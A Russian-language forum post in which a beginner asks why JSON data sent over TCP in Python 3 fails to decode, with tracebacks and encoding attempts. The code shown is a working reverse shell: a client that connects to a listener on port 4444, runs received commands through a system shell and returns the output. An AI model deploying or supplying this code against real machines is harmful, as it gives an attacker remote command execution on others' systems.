Вопрос про кодирование отправленых json данных по tcp, в python3
- Войдите на сайт для отправки комментариев
Мануалы и справочники открывал, все делал по ним, когда я отправляю команду, то она спокойно пакуется в json уходит клиенту и там распаковывается, без всяких ошибок.
import socket
import json
import subprocess
'''ПРИЕМ ДАННЫХ С СЕРВЕРА В ФОРМАТЕ JSON , РАСПАКОВКА И ДЕКОДИРОВАНИЕ '''
def reliable_recive():
json_data = connection.recv(1024)
return json.loads(json_data.decode("utf-8"))
'''ЗАПАКОВКА ДАННЫХ В JSON , КОДИРОВАНИЕ И ОТПРАВКА'''
def reliable_send(data):
json_data = json.dumps(data).encode("utf-8")
connection.send(json_data)
#ВЫПОЛНЕНИЕ СИСТЕМНЫХ КОМАНД
def execute_system_command(command):
return subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
#СОЗДАНИЕ ОБЪЕКТА ТИПА СОКЕТ
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.0.102", 4444))
# ПРИНЯТИЕ УДАЛЕННЫХ КОММАНД
while True:
command = reliable_recive()
if command[0] == "exit":
connection.close()
exit()
# ОТПРАВКА ПРИНЯТОЙ КОМАНДЫ НА ОБРАБОТКУ И ВЫПОЛНЕНИЕ
command_result = execute_system_command(command)
reliable_send(command_result)
import socket
import json
def reliable_send(data):
json_data = json.dumps(data).encode("utf-8")
connection.send(json_data)
def reliable_recive():
json_data = connection.recv(1024)
return json.loads(json_data.decode("utf-8"))
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("192.168.0.102", 4444))
listener.listen(0)
print("\nwait connection\n")
connection, address = listener.accept()
print("Got connection from "+str(address))
while True:
enter_command = input(">> ")
enter_command = enter_command.split(" ")
if enter_command[0] == "exit":
connection.close()
exit()
reliable_send(enter_command)
result = reliable_recive()
print(result)
Got connection from ('192.168.0.103', 55473)
>> dir
Traceback (most recent call last):
File "listener.py", line 35, in <module>
result = reliable_recive()
File "listener.py", line 11, in reliable_recive
return json.loads(json_data.decode("utf-8"))
File "/usr/lib/python3.8/json/__init__.py", line 357, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3.8/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python3.8/json/decoder.py", line 353, in raw_decode
obj, end = self.scan_once(s, idx)
json.decoder.JSONDecodeError: Unterminated string starting at: line 1 column 1 (char 0)
Если даже в json.dumps выключить ascii, командой ensure_ascii= False, тоже самое.
json_data = connection.recv(1024)
return json.loads(json_data.decode("utf-8"))
заменил в коде сервера (слушателя) кодировку с utf-8 на cp1252 в данной функции
def reliable_recive():
09
json_data = connection.recv(1024)
10
return
json.loads(json_data.decode(
"utf-8"
))
11
вышла ошибка UnicodeDecodeError: 'charmap' codec can't decode byte 0x81 in position 15: character maps to <undefined>
Я так понял нужно подходящую кодировку найти. Но я запаковывал json в utf-8, и думал лекго распаковать его обратно с utf-8 ино .... тупик
написал немного попроще
код сервера
код клиента
при отправке команды на стороне клиента
TypeError: Object of type bytes is not JSON serializable
на стороне сервера
json.decoder.JSONDecodeError: Expecting value: line 1 colum 1 (char 0)
как удалить данный пост?